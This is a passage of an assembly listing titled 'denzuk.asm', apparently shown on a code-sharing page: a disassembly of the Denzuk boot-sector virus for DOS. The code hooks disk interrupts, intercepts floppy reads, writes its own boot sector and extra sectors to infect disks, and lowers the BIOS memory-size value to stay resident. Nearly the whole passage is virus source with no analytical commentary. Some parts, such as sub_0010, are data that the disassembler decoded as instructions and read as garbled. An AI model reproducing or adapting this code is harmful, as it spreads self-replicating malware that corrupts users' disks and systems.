📄 denzuk.asm
字号:
popf ; Pop flags
adc [bp+si],ax
add ds:data_0010e[si],bx
push si
push di
push cs
pop ds
mov byte ptr ds:[528h],dh
mov byte ptr ds:[529h],dl
mov byte ptr ds:[52Ah],ch
mov byte ptr ds:[52Bh],cl
mov word ptr ds:[52Ch],es
mov word ptr ds:[52Eh],bx
mov byte ptr ds:[530h],ah
mov byte ptr data_0066,al ; ('WS EXE ')
cmp ah,2
jb loc_0045 ; Jump if below
cmp ah,5
ja loc_0045 ; Jump if above
cmp dl,1
ja loc_0045 ; Jump if above
cmp ch,0
jne loc_0045 ; Jump if not equal
cmp dh,0
jne loc_0045 ; Jump if not equal
dec cs:data_0051
jz loc_0046 ; Jump if zero
loc_0045:
jmp short loc_0047
loc_0046:
push cs
pop es
mov cs:data_0051,2
call sub_0009
loc_0047:
mov dh,byte ptr ds:[528h]
mov dl,byte ptr ds:[529h]
mov ch,byte ptr ds:[52Ah]
mov cl,byte ptr ds:[52Bh]
mov es,word ptr ds:[52Ch]
mov bx,word ptr ds:[52Eh]
mov ah,byte ptr ds:[530h]
mov al,byte ptr data_0066 ; ('WS EXE ')
pop di
pop si
pop es
pop ds
popf ; Pop flags
jmp dword ptr cs:data_0054
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0009 proc near
push ax
push bx
push cx
push dx
xor ah,ah ; Zero register
int 6Fh ; ??int non-standard interrupt
jc loc_0050 ; Jump if carry Set
xor dh,dh ; Zero register
mov dl,byte ptr cs:[529h]
mov cx,1
mov bx,200h
mov ax,201h
int 6Fh ; ??int non-standard interrupt
jc loc_0050 ; Jump if carry Set
cmp data_0047,537Ch
je loc_0050 ; Jump if equal
cmp data_0046,0FAFAh
je loc_0048 ; Jump if equal
cmp data_0043,1234h
jne loc_0049 ; Jump if not equal
call sub_0010
jc loc_0050 ; Jump if carry Set
jmp short loc_0049
loc_0048:
;* call sub_0011 ;*
db 0E8h, 44h, 00h
jc loc_0050 ; Jump if carry Set
loc_0049:
mov bx,200h
;* call sub_0013 ;*
db 0E8h,0E1h, 00h
jc loc_0050 ; Jump if carry Set
;* call sub_0012 ;*
db 0E8h, 58h, 00h
loc_0050:
pop dx
pop cx
pop bx
pop ax
retn
sub_0009 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0010 proc near
mul byte ptr [bx+di] ; ax = data * al
sub [bx+si],al
add bl,ch
xor al,90h
dec cx
inc dx
dec bp
and [bx+si],ah
xor bp,ds:data_0036e
add al,[bp+si]
add [bx+si],ax
add dh,[bx+si+0]
rol byte ptr [bp+si],1 ; Rotate
std ; Set direction flag
add al,[bx+si]
or [bx+si],ax
add al,[bx+si]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si],dl
add [bx+si],al
add [bx+si],al
add [bx+si],ax
cli ; Disable interrupts
xor ax,ax ; Zero register
mov ss,ax
mov sp,7C00h
push ss
pop es
mov bx,data_0005e
lds si,dword ptr ss:[bx] ; Load 32 bit ptr
push ds
push si
push ss
push bx
mov di,data_0022e
mov cx,0Bh
cld ; Clear direction
locloop_0051:
lodsb ; String [si] to al
cmp byte ptr es:[di],0
je loc_0052 ; Jump if equal
mov al,es:[di]
loc_0052:
stosb ; Store al to es:[di]
mov al,ah
loop locloop_0051 ; Loop if cx > 0
push es
pop ds
mov [bx+2],ax
mov word ptr [bx],7C2Bh
sti ; Enable interrupts
int 13h ; Disk dl=drive ? ah=func 00h
; reset disk, al=return status
jc loc_0055 ; Jump if carry Set
mov al,ds:data_0014e
cbw ; Convrt byte to word
mul word ptr ds:data_0017e ; ax = data * ax
add ax,ds:data_0020e
add ax,ds:data_0013e
mov ds:data_0028e,ax
mov ds:data_0023e,ax
mov ax,20h
mul word ptr ds:data_0015e ; ax = data * ax
mov bx,ds:data_0012e
add ax,bx
dec ax
div bx ; ax,dx rem=dx:ax/reg
add ds:data_0023e,ax
mov bx,500h
mov ax,ds:data_0028e
call sub_0015
mov ax,201h
call sub_0016
jc loc_0053 ; Jump if carry Set
mov di,bx
mov cx,0Bh
mov si,data_0030e
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jnz loc_0053 ; Jump if not zero
lea di,[bx+20h] ; Load effective addr
mov si,data_0031e
mov cx,0Bh
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jz loc_0056 ; Jump if zero
loc_0053:
mov si,data_0029e
loc_0054:
call sub_0014
xor ah,ah ; Zero register
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
pop si
pop ds
pop word ptr [si]
pop word ptr [si+2]
int 19h ; Bootstrap loader
loc_0055:
mov si,7DC0h
jmp short loc_0054
loc_0056:
mov ax,ds:data_0009e
xor dx,dx ; Zero register
div word ptr ds:data_0012e ; ax,dxrem=dx:ax/data
inc al
mov ds:data_0026e,al
mov ax,ds:data_0023e
mov ds:data_0027e,ax
mov bx,700h
loc_0057:
mov ax,ds:data_0023e
call sub_0015
mov ax,ds:data_0018e
sub al,ds:data_0025e
inc ax
cmp ds:data_0026e,al
jae loc_0058 ; Jump if above or =
mov al,ds:data_0026e
loc_0058:
push ax
call sub_0016
pop ax
jc loc_0055 ; Jump if carry Set
sub ds:data_0026e,al
jz loc_0059 ; Jump if zero
add ds:data_0023e,ax
mul word ptr ds:data_0012e ; ax = data * ax
add bx,ax
jmp short loc_0057
loc_0059:
mov ch,ds:data_0016e
mov dl,ds:data_0032e
mov bx,ds:data_0027e
;* jmp far ptr loc_0001 ;*
sub_0010 endp
db 0EAh, 00h, 00h, 70h, 00h
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0014 proc near
loc_0060:
lodsb ; String [si] to al
or al,al ; Zero ?
jz loc_ret_0061 ; Jump if zero
mov ah,0Eh
mov bx,7
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
jmp short loc_0060
;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
sub_0015:
xor dx,dx ; Zero register
div word ptr ds:data_0018e ; ax,dxrem=dx:ax/data
inc dl
mov ds:data_0025e,dl
xor dx,dx ; Zero register
div word ptr ds:data_0019e ; ax,dxrem=dx:ax/data
mov ds:data_0021e,dl
mov ds:data_0024e,ax
loc_ret_0061:
retn
sub_0014 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0016 proc near
mov ah,2
mov dx,ds:data_0024e
mov cl,6
shl dh,cl ; Shift w/zeros fill
or dh,ds:data_0025e
mov cx,dx
xchg ch,cl
mov dl,ds:data_0032e
mov dh,ds:data_0021e
int 13h ; Disk dl=drive ? ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
retn
sub_0016 endp
db 0Dh, 0Ah, 'Non-System disk or dis'
db 'k error', 0Dh, 0Ah, 'Replace and'
db ' strike any key when ready', 0Dh
db 0Ah, 0
db 0Dh, 0Ah, 'Disk Boot failure', 0Dh
db 0Ah, 0
db 'IBMBIO COMIBMDOS COM'
db 18 dup (0)
db 55h,0AAh, 00h, 03h, 00h, 00h
db 01h, 00h, 02h, 00h, 00h, 01h
db 00h, 01h, 00h, 00h, 01h, 00h
db 09h, 00h, 00h, 00h, 00h, 08h
db 00h, 00h, 00h, 00h, 07h, 00h
db 00h, 00h, 00h, 06h, 00h, 00h
db 00h, 00h, 05h, 00h, 00h, 00h
db 0F6h, 04h, 00h, 00h, 00h,0FDh
db 0FFh,0FFh, 00h
db 509 dup (0)
db 03h, 00h, 00h, 00h,0F6h, 02h
db 00h, 00h, 00h,0FDh,0FFh,0FFh
db 00h
db 508 dup (0)
db 0F6h, 01h, 00h, 00h, 00h,0EBh
db 29h, 90h, 22h, 34h, 12h, 00h
db 01h, 00h, 00h, 00h, 00h, 02h
db 02h, 01h, 00h, 02h, 70h, 00h
db 0D0h, 02h,0FDh, 02h, 00h, 09h
db 00h, 02h, 00h
db 8 dup (0)
db 0Fh, 00h, 00h, 00h, 00h, 01h
db 00h
db 0FAh,0FAh, 8Ch,0C8h, 8Eh,0D8h
db 8Eh,0D0h,0BCh, 00h,0F0h,0FBh
db 0B8h, 78h, 7Ch, 50h,0C3h, 73h
db 0Ah
db 0BBh, 90h, 7Ch, 53h,0C3h,0B9h
db 0B0h, 7Ch, 51h,0C3h
loc_0064:
xor ax,ax ; Zero register
mov ds,ax
mov ax,ds:main_ram_size_
cmp word ptr ds:data_0008e,0
jne loc_0065 ; Jump if not equal
mov ds:data_0008e,ax
sub ax,7
mov ds:main_ram_size_,ax
loc_0065:
mov cl,6
shl ax,cl ; Shift w/zeros fill
push cs
pop ds
mov es,ax
mov si,data_0164e
xor di,di ; Zero register
mov cx,1400h
cld ; Clear direction
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
push es
mov ax,400h
push ax
retf
xor ah,ah ; Zero register
int 13h ; Disk dl=drive a ah=func 00h
; reset disk, al=return status
jc loc_0066 ; Jump if carry Set
xor dx,dx ; Zero register
mov cx,2821h
mov bx,data_0178e
mov ax,209h
int 13h ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
loc_0066:
;* mov ax,offset loc_0077 ;*
db 0B8h, 3Ch, 7Ch
push ax
retn
db 0BEh, 5Fh, 7Dh,0B9h, 48h, 00h
locloop_0067:
xor bh,bh ; Zero register
mov al,[si]
mov ah,0Eh
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
inc si
loop locloop_0067 ; Loop if cx > 0
loc_0068:
xor ah,ah ; Zero register
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
mov ah,1
int 16h ; Keyboard i/o ah=function 01h
; get status, if zf=0 al=char
jnz loc_0068 ; Jump if not zero
;* mov bx,offset loc_0078 ;*
db 0BBh, 43h, 7Ch
push bx
retn
mov ax,cs
mov ds,ax
mov es,ax
mov si,data_0176e
mov di,data_0178e
mov cx,18h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
;* mov di,offset loc_0081 ;*
db 0BFh, 00h, 7Eh
push di
retn
db 32h,0E4h,0CDh, 13h
loc_0069:
jc loc_0070 ; Jump if carry Set
xor dx,dx ; Zero register
mov cx,1
mov bx,data_0164e
mov ax,201h
int 13h ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
loc_0070:
;* mov bx,offset loc_0076 ;*
db 0BBh, 00h, 7Ch
push bx
retn
sub al,7Ch ; '|'
mov ds:data_0175e,ax
mov bx,700h
loc_0071:
mov ax,ds:data_0171e
call sub_0018
mov ax,ds:data_0167e
sub al,ds:data_0173e
inc ax
push ax
call sub_0019
pop ax
jc loc_0069 ; Jump if carry Set
sub ds:data_0174e,al
jbe loc_0072 ; Jump if below or =
add ds:data_0171e,ax
mul word ptr ds:data_0165e ; ax = data * ax
add bx,ax
jmp short loc_0071
loc_0072:
mov ch,ds:data_0166e
mov dl,ds:data_0169e
mov bx,ds:data_0175e
;* jmp far ptr loc_0001 ;*
db 0EAh, 00h, 00h, 70h, 00h
loc_0073:
lodsb ; String [si] to al
or al,al ; Zero ?
jz loc_ret_0074 ; Jump if zero
mov ah,0Eh
mov bx,7
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
jmp short loc_0073
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0018 proc near
xor dx,dx ; Zero register
div word ptr ds:data_0167e ; ax,dxrem=dx:ax/data
inc dl
mov ds:data_0173e,dl
xor dx,dx ; Zero register
div word ptr ds:data_0168e ; ax,dxrem=dx:ax/data
mov byte ptr ds:data_0169e+1,dl
mov ds:data_0172e,ax
loc_ret_0074:
retn
sub_0018 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0019 proc near
mov ah,2
mov dx,ds:data_0172e
mov cl,6
shl dh,cl ; Shift w/zeros fill
or dh,ds:data_0173e
mov cx,dx
xchg ch,cl
mov dx,ds:data_0169e
int 13h ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
retn
sub_0019 endp
db 0Dh, 0Ah, 'Non-System disk or dis'
db 'k error', 0Dh, 0Ah, 'Replace and'
db ' strike any key when ready', 0Dh
db 0Ah, 0
db 0Dh, 0Ah, 'Disk Boot failure', 0Dh
db 0Ah, 0
db 'IBMBIO COMIBMDOS COM'
db 42 dup (0)
db 55h,0AAh
seg_a ends
end start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -